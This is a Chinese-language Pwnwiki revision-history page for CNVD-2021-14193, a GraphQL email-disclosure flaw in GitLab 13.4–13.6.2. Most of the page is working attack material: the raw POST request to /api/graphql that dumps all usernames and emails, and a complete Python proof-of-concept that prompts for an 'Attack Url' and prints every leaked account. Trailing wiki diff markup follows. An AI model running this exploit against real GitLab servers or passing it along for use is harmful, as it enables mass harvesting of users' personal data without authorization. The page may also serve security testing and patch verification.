GitLab Graphql郵箱信息洩露漏洞 CNVD-2021-14193 - Revision history

Pwnwiki: Marked this version for translation

2021-03-09T08:08:43Z

Marked this version for translation

Pwnwiki at 08:03, 9 March 2021

2021-03-09T08:03:34Z

Pwnwiki: Created page with " ==影響版本== GitLab 13.4 - 13.6.2 ==漏洞利用== 請求URL：

 http://xxx.xxx.xxx.xxx/-//graphq..."

2021-03-09T08:03:14Z

Created page with "<languages /> <translate> ==影響版本== </translate> GitLab 13.4 - 13.6.2 <translate> ==漏洞利用== 請求URL： </translate> <pre> http://xxx.xxx.xxx.xxx/-//graphq..."

New page

<languages />

<translate>
==影響版本==
</translate>

GitLab 13.4 - 13.6.2

<translate>
==漏洞利用==
請求URL：
</translate>
<pre>
http://xxx.xxx.xxx.xxx/-//graphql-explorer
</pre>

<translate>
Gitlab本身不允許獲取賬號郵箱信息，這里通過調用 Graphql 用戶名查詢造成了郵箱洩露漏洞

查看完報告後發現漏洞利用需要有賬號用戶名，在不知道的情況下無法獲取郵箱，在Graphql官網查看得知可以通過另一個構造的語句一次性返回所有的用戶名和郵箱
</translate>
<translate>
發包調用了<code>/api/graphql</code>接口發送數據

完整數據包為:
</translate>
<pre>
POST /api/graphql HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 212
Content-Type: application/json

{"query":"{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }","variables":null,"operationName":null}
</pre>

<translate>
成功返回數據，造成 Gitlab的用戶郵箱信息洩露。
</translate>

==POC==
<pre>
import requests
import sys
import random
import re
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
print('+--------------WgpSec--Team----------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mVersion: GitLab 13.4 - 13.6.2 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+------------------------------------------')

def POC_1(target_url):
vuln_url = target_url + "/api/graphql"
user_number = 0
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Content-Type": "application/json",
}
try:
data = """
{"query":"{\\nusers {\\nedges {\\n node {\\n username\\n email\\n avatarUrl\\n status {\\n emoji\\n message\\n messageHtml\\n }\\n }\\n }\\n }\\n }","variables":null,"operationName":null}
"""
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, headers=headers, data=data ,verify=False, timeout=5)
if "email" in response.text and "username" in response.text and "@" in response.text and response.status_code == 200:
print('\033[32m[o] 目标{}存在漏洞, 泄露用户邮箱数据....... \033[0m'.format(target_url))
for i in range(0,999):
try:
username = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["username"]
email = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["email"]
user_number = user_number + 1
print('\033[34m[o] 用户名:{} 邮箱:{} \033[0m'.format(username, email))
except:
print("\033[32m[o] 共泄露{}名用户邮箱账号 \033[0m".format(user_number))
sys.exit(0)
else:
print("\033[31m[x] 不存在漏洞 \033[0m")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)

if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url)
</pre>

<translate>
==參考==
</translate>
https://mp.weixin.qq.com/s/3cT8d9I7qru2tsURqUDusw
https://gitlab.com/gitlab-org/gitlab/-/issues/244275

@@ Line 2: / Line 2: @@
 <translate>
-==影響版本==
+==影響版本== <!--T:1-->
 </translate>
@@ Line 8: / Line 8: @@
 <translate>
-==漏洞利用==
+==漏洞利用== <!--T:2-->
 請求URL：
 </translate>
@@ Line 16: / Line 16: @@
 <translate>
 Gitlab本身不允許獲取賬號郵箱信息，這里通過調用 Graphql 用戶名查詢造成了郵箱洩露漏洞
 查看完報告後發現漏洞利用需要有賬號用戶名，在不知道的情況下無法獲取郵箱，在Graphql官網查看得知可以通過另一個構造的語句一次性返回所有的用戶名和郵箱
 </translate>
 <translate>
 發包調用了<code>/api/graphql</code>接口發送數據
 完整數據包為:
 </translate>
@@ Line 36: / Line 40: @@
 <translate>
 成功返回數據，造成 Gitlab的用戶郵箱信息洩露。
 </translate>
@@ Line 96: / Line 101: @@
 <translate>
-==參考==
+==參考== <!--T:8-->
 </translate>
 https://mp.weixin.qq.com/s/3cT8d9I7qru2tsURqUDusw
 https://gitlab.com/gitlab-org/gitlab/-/issues/244275